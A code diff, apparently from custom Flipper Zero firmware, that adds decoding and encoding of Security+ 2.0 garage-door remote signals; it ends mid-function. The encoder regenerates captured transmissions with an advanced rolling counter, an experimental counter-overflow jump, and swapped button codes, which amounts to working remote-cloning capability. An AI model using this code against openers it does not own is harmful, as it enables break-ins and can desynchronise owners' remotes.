+#define TAG "SubGhzProtocoSecPlusV2"
+
+#define SECPLUS_V2_HEADER      0x3C0000000000
+#define SECPLUS_V2_HEADER_MASK 0xFFFF3C0000000000
+#define SECPLUS_V2_PACKET_1    0x000000000000
+#define SECPLUS_V2_PACKET_2    0x010000000000
+#define SECPLUS_V2_PACKET_MASK 0x30000000000
+
+static const SubGhzBlockConst subghz_protocol_secplus_v2_const = {
+    .te_short = 250,
+    .te_long = 500,
+    .te_delta = 110,
+    .min_count_bit_for_found = 62,
+};
+
+struct SubGhzProtocolDecoderSecPlus_v2 {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+
+    ManchesterState manchester_saved_state;
+    uint64_t secplus_packet_1;
+};
+
+struct SubGhzProtocolEncoderSecPlus_v2 {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+    uint64_t secplus_packet_1;
+};
+
+typedef enum {
+    SecPlus_v2DecoderStepReset = 0,
+    SecPlus_v2DecoderStepDecoderData,
+} SecPlus_v2DecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_secplus_v2_decoder = {
+    .alloc = subghz_protocol_decoder_secplus_v2_alloc,
+    .free = subghz_protocol_decoder_secplus_v2_free,
+
+    .feed = subghz_protocol_decoder_secplus_v2_feed,
+    .reset = subghz_protocol_decoder_secplus_v2_reset,
+
+    .get_hash_data = subghz_protocol_decoder_secplus_v2_get_hash_data,
+    .serialize = subghz_protocol_decoder_secplus_v2_serialize,
+    .deserialize = subghz_protocol_decoder_secplus_v2_deserialize,
+    .get_string = subghz_protocol_decoder_secplus_v2_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_secplus_v2_encoder = {
+    .alloc = subghz_protocol_encoder_secplus_v2_alloc,
+    .free = subghz_protocol_encoder_secplus_v2_free,
+
+    .deserialize = subghz_protocol_encoder_secplus_v2_deserialize,
+    .stop = subghz_protocol_encoder_secplus_v2_stop,
+    .yield = subghz_protocol_encoder_secplus_v2_yield,
+};
+
+const SubGhzProtocol subghz_protocol_secplus_v2 = {
+    .name = SUBGHZ_PROTOCOL_SECPLUS_V2_NAME,
+    .type = SubGhzProtocolTypeDynamic,
+    .flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_secplus_v2_decoder,
+    .encoder = &subghz_protocol_secplus_v2_encoder,
+};
+
+void* subghz_protocol_encoder_secplus_v2_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderSecPlus_v2* instance = malloc(sizeof(SubGhzProtocolEncoderSecPlus_v2));
+
+    instance->base.protocol = &subghz_protocol_secplus_v2;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 256;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_secplus_v2_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderSecPlus_v2* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+static bool subghz_protocol_secplus_v2_mix_invet(uint8_t invert, uint16_t p[]) {
+    // selectively invert buffers
+    switch(invert) {
+    case 0x00: // 0b0000 (True, True, False),
+        p[0] = ~p[0] & 0x03FF;
+        p[1] = ~p[1] & 0x03FF;
+        break;
+    case 0x01: // 0b0001 (False, True, False),
+        p[1] = ~p[1] & 0x03FF;
+        break;
+    case 0x02: // 0b0010 (False, False, True),
+        p[2] = ~p[2] & 0x03FF;
+        break;
+    case 0x04: // 0b0100 (True, True, True),
+        p[0] = ~p[0] & 0x03FF;
+        p[1] = ~p[1] & 0x03FF;
+        p[2] = ~p[2] & 0x03FF;
+        break;
+    case 0x05: // 0b0101 (True, False, True),
+    case 0x0a: // 0b1010 (True, False, True),
+        p[0] = ~p[0] & 0x03FF;
+        p[2] = ~p[2] & 0x03FF;
+        break;
+    case 0x06: // 0b0110 (False, True, True),
+        p[1] = ~p[1] & 0x03FF;
+        p[2] = ~p[2] & 0x03FF;
+        break;
+    case 0x08: // 0b1000 (True, False, False),
+        p[0] = ~p[0] & 0x03FF;
+        break;
+    case 0x09: // 0b1001 (False, False, False),
+        break;
+    default:
+        FURI_LOG_E(TAG, "Invert FAIL");
+        return false;
+    }
+    return true;
+}
+
+static bool subghz_protocol_secplus_v2_mix_order_decode(uint8_t order, uint16_t p[]) {
+    uint16_t a = p[0], b = p[1], c = p[2];
+
+    // selectively reorder buffers
+    switch(order) {
+    case 0x06: // 0b0110  2, 1, 0],
+    case 0x09: // 0b1001  2, 1, 0],
+        p[2] = a;
+        // p[1]: no change
+        p[0] = c;
+        break;
+    case 0x08: // 0b1000  1, 2, 0],
+    case 0x04: // 0b0100  1, 2, 0],
+        p[1] = a;
+        p[2] = b;
+        p[0] = c;
+        break;
+    case 0x01: // 0b0001 2, 0, 1],
+        p[2] = a;
+        p[0] = b;
+        p[1] = c;
+        break;
+    case 0x00: // 0b0000  0, 2, 1],
+        // p[0]: no change
+        p[2] = b;
+        p[1] = c;
+        break;
+    case 0x05: // 0b0101 1, 0, 2],
+        p[1] = a;
+        p[0] = b;
+        // p[2]: no change
+        break;
+    case 0x02: // 0b0010 0, 1, 2],
+    case 0x0A: // 0b1010 0, 1, 2],
+        // no reordering
+        break;
+    default:
+        FURI_LOG_E(TAG, "Order FAIL");
+        return false;
+    }
+    return true;
+}
+
+static bool subghz_protocol_secplus_v2_mix_order_encode(uint8_t order, uint16_t p[]) {
+    uint16_t a, b, c;
+
+    // selectively reorder buffers
+    switch(order) {
+    case 0x06: // 0b0110  2, 1, 0],
+    case 0x09: // 0b1001  2, 1, 0],
+        a = p[2];
+        b = p[1];
+        c = p[0];
+        break;
+    case 0x08: // 0b1000  1, 2, 0],
+    case 0x04: // 0b0100  1, 2, 0],
+        a = p[1];
+        b = p[2];
+        c = p[0];
+        break;
+    case 0x01: // 0b0001 2, 0, 1],
+        a = p[2];
+        b = p[0];
+        c = p[1];
+        break;
+    case 0x00: // 0b0000  0, 2, 1],
+        a = p[0];
+        b = p[2];
+        c = p[1];
+        break;
+    case 0x05: // 0b0101 1, 0, 2],
+        a = p[1];
+        b = p[0];
+        c = p[2];
+        break;
+    case 0x02: // 0b0010 0, 1, 2],
+    case 0x0A: // 0b1010 0, 1, 2],
+        a = p[0];
+        b = p[1];
+        c = p[2];
+        break;
+    default:
+        FURI_LOG_E(TAG, "Order FAIL");
+        return false;
+    }
+
+    p[0] = a;
+    p[1] = b;
+    p[2] = c;
+    return true;
+}
+
+/** 
+ * Security+ 2.0 half-message decoding
+ * @param data data 
+ * @param roll_array[] return roll_array part
+ * @param fixed[] return fixed part
+ * @return true On success
+ */
+
+static bool
+    subghz_protocol_secplus_v2_decode_half(uint64_t data, uint8_t roll_array[], uint32_t* fixed) {
+    uint8_t order = (data >> 34) & 0x0f;
+    uint8_t invert = (data >> 30) & 0x0f;
+    uint16_t p[3] = {0};
+
+    for(int i = 29; i >= 0; i -= 3) {
+        p[0] = p[0] << 1 | bit_read(data, i);
+        p[1] = p[1] << 1 | bit_read(data, i - 1);
+        p[2] = p[2] << 1 | bit_read(data, i - 2);
+    }
+
+    if(!subghz_protocol_secplus_v2_mix_invet(invert, p)) return false;
+    if(!subghz_protocol_secplus_v2_mix_order_decode(order, p)) return false;
+
+    data = order << 4 | invert;
+    int k = 0;
+    for(int i = 6; i >= 0; i -= 2) {
+        roll_array[k] = (data >> i) & 0x03;
+        if(roll_array[k++] == 3) {
+            FURI_LOG_E(TAG, "Roll_Array FAIL");
+            return false;
+        }
+    }
+
+    for(int i = 8; i >= 0; i -= 2) {
+        roll_array[k] = (p[2] >> i) & 0x03;
+        if(roll_array[k++] == 3) {
+            FURI_LOG_E(TAG, "Roll_Array FAIL");
+            return false;
+        }
+    }
+
+    fixed[0] = p[0] << 10 | p[1];
+    return true;
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ * @param packet_1 first part of the message
+ */
+static void
+    subghz_protocol_secplus_v2_remote_controller(SubGhzBlockGeneric* instance, uint64_t packet_1) {
+    uint32_t fixed_1[1];
+    uint8_t roll_1[9] = {0};
+    uint32_t fixed_2[1];
+    uint8_t roll_2[9] = {0};
+    uint8_t rolling_digits[18] = {0};
+
+    if(subghz_protocol_secplus_v2_decode_half(packet_1, roll_1, fixed_1) &&
+       subghz_protocol_secplus_v2_decode_half(instance->data, roll_2, fixed_2)) {
+        rolling_digits[0] = roll_2[8];
+        rolling_digits[1] = roll_1[8];
+
+        rolling_digits[2] = roll_2[4];
+        rolling_digits[3] = roll_2[5];
+        rolling_digits[4] = roll_2[6];
+        rolling_digits[5] = roll_2[7];
+
+        rolling_digits[6] = roll_1[4];
+        rolling_digits[7] = roll_1[5];
+        rolling_digits[8] = roll_1[6];
+        rolling_digits[9] = roll_1[7];
+
+        rolling_digits[10] = roll_2[0];
+        rolling_digits[11] = roll_2[1];
+        rolling_digits[12] = roll_2[2];
+        rolling_digits[13] = roll_2[3];
+
+        rolling_digits[14] = roll_1[0];
+        rolling_digits[15] = roll_1[1];
+        rolling_digits[16] = roll_1[2];
+        rolling_digits[17] = roll_1[3];
+
+        uint32_t rolling = 0;
+        for(int i = 0; i < 18; i++) {
+            rolling = (rolling * 3) + rolling_digits[i];
+        }
+        // Max value = 2^28 (268435456)
+        if(rolling >= 0x10000000) {
+            FURI_LOG_E(TAG, "Rolling FAIL");
+            instance->cnt = 0;
+            instance->btn = 0;
+            instance->serial = 0;
+        } else {
+            instance->cnt = subghz_protocol_blocks_reverse_key(rolling, 28);
+            instance->btn = fixed_1[0] >> 12;
+            instance->serial = fixed_1[0] << 20 | fixed_2[0];
+        }
+    } else {
+        instance->cnt = 0;
+        instance->btn = 0;
+        instance->serial = 0;
+    }
+
+    // Save original button for later use
+    if(subghz_custom_btn_get_original() == 0) {
+        subghz_custom_btn_set_original(instance->btn);
+    }
+    subghz_custom_btn_set_max(4);
+}
+
+/** 
+ * Security+ 2.0 half-message encoding
+ * @param roll_array[] roll_array part
+ * @param fixed[] fixed part
+ * @return return data 
+ */
+
+static uint64_t subghz_protocol_secplus_v2_encode_half(uint8_t roll_array[], uint32_t fixed) {
+    uint64_t data = 0;
+    uint16_t p[3] = {(fixed >> 10) & 0x3FF, fixed & 0x3FF, 0};
+    uint8_t order = roll_array[0] << 2 | roll_array[1];
+    uint8_t invert = roll_array[2] << 2 | roll_array[3];
+    p[2] = (uint16_t)roll_array[4] << 8 | roll_array[5] << 6 | roll_array[6] << 4 |
+           roll_array[7] << 2 | roll_array[8];
+
+    if(!subghz_protocol_secplus_v2_mix_order_encode(order, p)) return 0;
+    if(!subghz_protocol_secplus_v2_mix_invet(invert, p)) return 0;
+
+    for(int i = 0; i < 10; i++) {
+        data <<= 3;
+        data |= bit_read(p[0], 9 - i) << 2 | bit_read(p[1], 9 - i) << 1 | bit_read(p[2], 9 - i);
+    }
+    data |= ((uint64_t)order) << 34 | ((uint64_t)invert) << 30;
+
+    return data;
+}
+
+/**
+ * Defines the button value for the current btn_id
+ * Basic set | 0x68 | 0x80 | 0x81 | 0xE2 | 0x78
+ * @return Button code
+ */
+static uint8_t subghz_protocol_secplus_v2_get_btn_code(void);
+
+/** 
+ * Security+ 2.0 message encoding
+ * @param instance SubGhzProtocolEncoderSecPlus_v2* 
+ */
+
+static void subghz_protocol_secplus_v2_encode(SubGhzProtocolEncoderSecPlus_v2* instance) {
+    // Save original button for later use
+    if(subghz_custom_btn_get_original() == 0) {
+        subghz_custom_btn_set_original(instance->generic.btn);
+    }
+
+    instance->generic.btn = subghz_protocol_secplus_v2_get_btn_code();
+
+    // override button if we change it with signal settings button editor
+    if(subghz_block_generic_global_button_override_get(&instance->generic.btn))
+        FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", instance->generic.btn);
+
+    uint32_t fixed_1[1] = {instance->generic.btn << 12 | instance->generic.serial >> 20};
+    uint32_t fixed_2[1] = {instance->generic.serial & 0xFFFFF};
+    uint8_t rolling_digits[18] = {0};
+    uint8_t roll_1[9] = {0};
+    uint8_t roll_2[9] = {0};
+
+    // Experemental case - we dont know counter size exactly, so just will be think that it is in range of 0xE500000 - 0xFFFFFFF
+
+    // Check for OFEX (overflow experimental) mode
+    if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF) {
+        // standart counter mode. PULL data from subghz_block_generic_global variables
+        if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
+            // if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
+            if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) > 0xFFFFFFF) {
+                instance->generic.cnt = 0xE500000;
+            } else {
+                instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
+            }
+        }
+        if(instance->generic.cnt < 0xE500000) instance->generic.cnt = 0xE500000;
+    } else {
+        // OFEX (overflow experimental) mode
+        if((instance->generic.cnt + 0x1) > 0xFFFFFFF) {
+            instance->generic.cnt = 0xE500000;
+        } else if(instance->generic.cnt >= 0xE500000 && instance->generic.cnt != 0xFFFFFFE) {
+            instance->generic.cnt = 0xFFFFFFE;
+        } else {
+            instance->generic.cnt++;
+        }
+    }
+
+    uint32_t rolling = subghz_protocol_blocks_reverse_key(instance->generic.cnt, 28);
+
+    for(int8_t i = 17; i > -1; i--) {
+        rolling_digits[i] = rolling % 3;
+        rolling /= 3;
+    }
+
+    roll_2[8] = rolling_digits[0];
+    roll_1[8] = rolling_digits[1];
+
+    roll_2[4] = rolling_digits[2];
+    roll_2[5] = rolling_digits[3];
+    roll_2[6] = rolling_digits[4];
+    roll_2[7] = rolling_digits[5];
+
+    roll_1[4] = rolling_digits[6];
+    roll_1[5] = rolling_digits[7];
+    roll_1[6] = rolling_digits[8];
+    roll_1[7] = rolling_digits[9];
+
+    roll_2[0] = rolling_digits[10];
+    roll_2[1] = rolling_digits[11];
+    roll_2[2] = rolling_digits[12];
+    roll_2[3] = rolling_digits[13];
+
+    roll_1[0] = rolling_digits[14];
+    roll_1[1] = rolling_digits[15];
+    roll_1[2] = rolling_digits[16];
+    roll_1[3] = rolling_digits[17];
+
+    instance->secplus_packet_1 = SECPLUS_V2_HEADER | SECPLUS_V2_PACKET_1 |
+                                 subghz_protocol_secplus_v2_encode_half(roll_1, fixed_1[0]);
+    instance->generic.data = SECPLUS_V2_HEADER | SECPLUS_V2_PACKET_2 |
+                             subghz_protocol_secplus_v2_encode_half(roll_2, fixed_2[0]);
+}
+
+static LevelDuration
+    subghz_protocol_encoder_secplus_v2_add_duration_to_upload(ManchesterEncoderResult result) {
+    LevelDuration data = {.duration = 0, .level = 0};
+    switch(result) {
+    case ManchesterEncoderResultShortLow:
+        data.duration = subghz_protocol_secplus_v2_const.te_short;
+        data.level = false;
+        break;
+    case ManchesterEncoderResultLongLow:
+        data.duration = subghz_protocol_secplus_v2_const.te_long;
+        data.level = false;
+        break;
+    case ManchesterEncoderResultLongHigh:
+        data.duration = subghz_protocol_secplus_v2_const.te_long;
+        data.level = true;
+        break;
+    case ManchesterEncoderResultShortHigh:
+        data.duration = subghz_protocol_secplus_v2_const.te_short;
+        data.level = true;
+        break;
+
+    default:
+        furi_crash("SubGhz: ManchesterEncoderResult is incorrect.");
+        break;
+    }
+    return level_duration_make(data.level, data.duration);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderSecPlus_v2 instance
+ */
+static void
+    subghz_protocol_encoder_secplus_v2_get_upload(SubGhzProtocolEncoderSecPlus_v2* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+
+    ManchesterEncoderState enc_state;
+    manchester_encoder_reset(&enc_state);
+    ManchesterEncoderResult result;
+
+    //Send data packet 1
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(!manchester_encoder_advance(
+               &enc_state, bit_read(instance->secplus_packet_1, i - 1), &result)) {
+            instance->encoder.upload[index++] =
+                subghz_protocol_encoder_secplus_v2_add_duration_to_upload(result);
+            manchester_encoder_advance(
+                &enc_state, bit_read(instance->secplus_packet_1, i - 1), &result);
+        }
+        instance->encoder.upload[index++] =
+            subghz_protocol_encoder_secplus_v2_add_duration_to_upload(result);
+    }
+    instance->encoder.upload[index] = subghz_protocol_encoder_secplus_v2_add_duration_to_upload(
+        manchester_encoder_finish(&enc_state));
+    if(level_duration_get_level(instance->encoder.upload[index])) {
+        index++;
+    }
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_secplus_v2_const.te_long * 136);
+
+    //Send data packet 2
+    manchester_encoder_reset(&enc_state);
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(!manchester_encoder_advance(
+               &enc_state, bit_read(instance->generic.data, i - 1), &result)) {
+            instance->encoder.upload[index++] =
+                subghz_protocol_encoder_secplus_v2_add_duration_to_upload(result);
+            manchester_encoder_advance(
+                &enc_state, bit_read(instance->generic.data, i - 1), &result);
+        }
+        instance->encoder.upload[index++] =
+            subghz_protocol_encoder_secplus_v2_add_duration_to_upload(result);
+    }
+    instance->encoder.upload[index] = subghz_protocol_encoder_secplus_v2_add_duration_to_upload(
+        manchester_encoder_finish(&enc_state));
+    if(level_duration_get_level(instance->encoder.upload[index])) {
+        index++;
+    }
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_secplus_v2_const.te_long * 136);
+
+    instance->encoder.size_upload = index;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_secplus_v2_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderSecPlus_v2* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_secplus_v2_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        if(!flipper_format_read_hex(
+               flipper_format, "Secplus_packet_1", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Secplus_packet_1");
+            ret = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+        for(uint8_t i = 0; i < sizeof(uint64_t); i++) {
+            instance->secplus_packet_1 = instance->secplus_packet_1 << 8 | key_data[i];
+        }
+
+        subghz_protocol_secplus_v2_remote_controller(
+            &instance->generic, instance->secplus_packet_1);
+        subghz_protocol_secplus_v2_encode(instance);
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+        subghz_protocol_encoder_secplus_v2_get_upload(instance);
+
+        //update data
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> (i * 8)) & 0xFF;
+        }
+        if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to add Key");
+            ret = SubGhzProtocolStatusErrorParserKey;
+            break;
+        }
+
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->secplus_packet_1 >> (i * 8)) & 0xFF;
+        }
+        if(!flipper_format_update_hex(
+               flipper_format, "Secplus_packet_1", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to add Secplus_packet_1");
+            ret = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+
+        instance->encoder.front = 0; // reset before start
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_secplus_v2_stop(void* context) {
+    SubGhzProtocolEncoderSecPlus_v2* instance = context;
+    instance->encoder.is_running = false;
+    instance->encoder.front = 0; // reset position
+}
+
+LevelDuration subghz_protocol_encoder_secplus_v2_yield(void* context) {
+    SubGhzProtocolEncoderSecPlus_v2* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+bool subghz_protocol_secplus_v2_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint8_t btn,
+    uint32_t cnt,
+    SubGhzRadioPreset* preset) {
+    furi_check(context);
+
+    SubGhzProtocolEncoderSecPlus_v2* instance = context;
+    instance->generic.serial = serial;
+    instance->generic.cnt = cnt;
+    instance->generic.btn = btn;
+    instance->generic.data_count_bit =
+        (uint8_t)subghz_protocol_secplus_v2_const.min_count_bit_for_found;
+    subghz_protocol_secplus_v2_encode(instance);
+    SubGhzProtocolStatus res =
+        subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+
+    uint8_t key_data[sizeof(uint64_t)] = {0};
+    for(size_t i = 0; i < sizeof(uint64_t); i++) {
+        key_data[sizeof(uint64_t) - i - 1] = (instance->secplus_packet_1 >> (i * 8)) & 0xFF;
+    }
+
+    if((res == SubGhzProtocolStatusOk) &&
+       !flipper_format_write_hex(flipper_format, "Secplus_packet_1", key_data, sizeof(uint64_t))) {
+        FURI_LOG_E(TAG, "Unable to add Secplus_packet_1");
+        res = SubGhzProtocolStatusErrorParserOthers;
+    }
+    return res == SubGhzProtocolStatusOk;
+}
+
+void* subghz_protocol_decoder_secplus_v2_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderSecPlus_v2* instance = malloc(sizeof(SubGhzProtocolDecoderSecPlus_v2));
+    instance->base.protocol = &subghz_protocol_secplus_v2;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    return instance;
+}
+
+void subghz_protocol_decoder_secplus_v2_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSecPlus_v2* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_secplus_v2_reset(void* context) {
+    furi_assert(context);
+    // SubGhzProtocolDecoderSecPlus_v2* instance = context;
+    // does not reset the decoder because you need to get 2 parts of the package
+}
+
+static bool subghz_protocol_secplus_v2_check_packet(SubGhzProtocolDecoderSecPlus_v2* instance) {
+    if((instance->decoder.decode_data & SECPLUS_V2_HEADER_MASK) == SECPLUS_V2_HEADER) {
+        if((instance->decoder.decode_data & SECPLUS_V2_PACKET_MASK) == SECPLUS_V2_PACKET_1) {
+            instance->secplus_packet_1 = instance->decoder.decode_data;
+        } else if(
+            ((instance->decoder.decode_data & SECPLUS_V2_PACKET_MASK) == SECPLUS_V2_PACKET_2) &&
+            (instance->secplus_packet_1)) {
+            return true;
+        }
+    }
+    return false;
+}
+
+void subghz_protocol_decoder_secplus_v2_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSecPlus_v2* instance = context;
+
+    ManchesterEvent event = ManchesterEventReset;
+    switch(instance->decoder.parser_step) {
+    case SecPlus_v2DecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_secplus_v2_const.te_long * 130) <
+                        subghz_protocol_secplus_v2_const.te_delta * 100)) {
+            //Found header Security+ 2.0
+            instance->decoder.parser_step = SecPlus_v2DecoderStepDecoderData;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->secplus_packet_1 = 0;
+            manchester_advance(
+                instance->manchester_saved_state,
+                ManchesterEventReset,
+                &instance->manchester_saved_state,
+                NULL);
+            manchester_advance(
+                instance->manchester_saved_state,
+                ManchesterEventLongHigh,
+                &instance->manchester_saved_state,
+                NULL);
+            manchester_advance(
+                instance->manchester_saved_state,
+                ManchesterEventShortLow,
+                &instance->manchester_saved_state,
+                NULL);
+        }
+        break;
+    case SecPlus_v2DecoderStepDecoderData:
+        if(!level) {
+            if(DURATION_DIFF(duration, subghz_protocol_secplus_v2_const.te_short) <
+               subghz_protocol_secplus_v2_const.te_delta) {
+                event = ManchesterEventShortLow;
+            } else if(
+                DURATION_DIFF(duration, subghz_protocol_secplus_v2_const.te_long) <
+                subghz_protocol_secplus_v2_const.te_delta) {
+                event = ManchesterEventLongLow;
+            } else if(
+                duration >= (subghz_protocol_secplus_v2_const.te_long * 2UL +
+                             subghz_protocol_secplus_v2_const.te_delta)) {
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_secplus_v2_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                    if(subghz_protocol_secplus_v2_check_packet(instance)) {
+                        if(instance->base.callback)
+                            instance->base.callback(&instance->base, instance->base.context);
+                        instance->decoder.parser_step = SecPlus_v2DecoderStepReset;
+                    }
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                manchester_advance(
+                    instance->manchester_saved_state,
+                    ManchesterEventReset,
+                    &instance->manchester_saved_state,
+                    NULL);
+                manchester_advance(
+                    instance->manchester_saved_state,
+                    ManchesterEventLongHigh,
+                    &instance->manchester_saved_state,
+                    NULL);
+                manchester_advance(
+                    instance->manchester_saved_state,
+                    ManchesterEventShortLow,
+                    &instance->manchester_saved_state,
+                    NULL);
+            } else {
+                instance->decoder.parser_step = SecPlus_v2DecoderStepReset;
+            }
+        } else {
+            if(DURATION_DIFF(duration, subghz_protocol_secplus_v2_const.te_short) <
+               subghz_protocol_secplus_v2_const.te_delta) {
+                event = ManchesterEventShortHigh;
+            } else if(
+                DURATION_DIFF(duration, subghz_protocol_secplus_v2_const.te_long) <
+                subghz_protocol_secplus_v2_const.te_delta) {
+                event = ManchesterEventLongHigh;
+            } else {
+                instance->decoder.parser_step = SecPlus_v2DecoderStepReset;
+            }
+        }
+        if(event != ManchesterEventReset) {
+            bool data;
+            bool data_ok = manchester_advance(
+                instance->manchester_saved_state, event, &instance->manchester_saved_state, &data);
+
+            if(data_ok) {
+                instance->decoder.decode_data = (instance->decoder.decode_data << 1) | data;
+                instance->decoder.decode_count_bit++;
+            }
+        }
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_secplus_v2_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSecPlus_v2* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_secplus_v2_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSecPlus_v2* instance = context;
+    SubGhzProtocolStatus ret =
+        subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+
+    uint8_t key_data[sizeof(uint64_t)] = {0};
+    for(size_t i = 0; i < sizeof(uint64_t); i++) {
+        key_data[sizeof(uint64_t) - i - 1] = (instance->secplus_packet_1 >> (i * 8)) & 0xFF;
+    }
+
+    if((ret == SubGhzProtocolStatusOk) &&
+       !flipper_format_write_hex(flipper_format, "Secplus_packet_1", key_data, sizeof(uint64_t))) {
+        FURI_LOG_E(TAG, "Unable to add Secplus_packet_1");
+        ret = SubGhzProtocolStatusErrorParserOthers;
+    }
+    return ret;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_secplus_v2_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSecPlus_v2* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_secplus_v2_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            ret = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        if(!flipper_format_read_hex(
+               flipper_format, "Secplus_packet_1", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Missing Secplus_packet_1");
+            ret = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+        for(uint8_t i = 0; i < sizeof(uint64_t); i++) {
+            instance->secplus_packet_1 = instance->secplus_packet_1 << 8 | key_data[i];
+        }
+    } while(false);
+
+    return ret;
+}
+
+static uint8_t subghz_protocol_secplus_v2_get_btn_code(void) {
+    uint8_t custom_btn_id = subghz_custom_btn_get();
+    uint8_t original_btn_code = subghz_custom_btn_get_original();
+    uint8_t btn = original_btn_code;
+
+    // Set custom button
+    if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
+        // Restore original button code
+        btn = original_btn_code;
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
+        switch(original_btn_code) {
+        case 0x68:
+            btn = 0x80;
+            break;
+        case 0x80:
+            btn = 0x68;
+            break;
+        case 0x81:
+            btn = 0x80;
+            break;
+        case 0xE2:
+            btn = 0x80;
+            break;
+        case 0x78:
+            btn = 0x80;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
+        switch(original_btn_code) {
+        case 0x68:
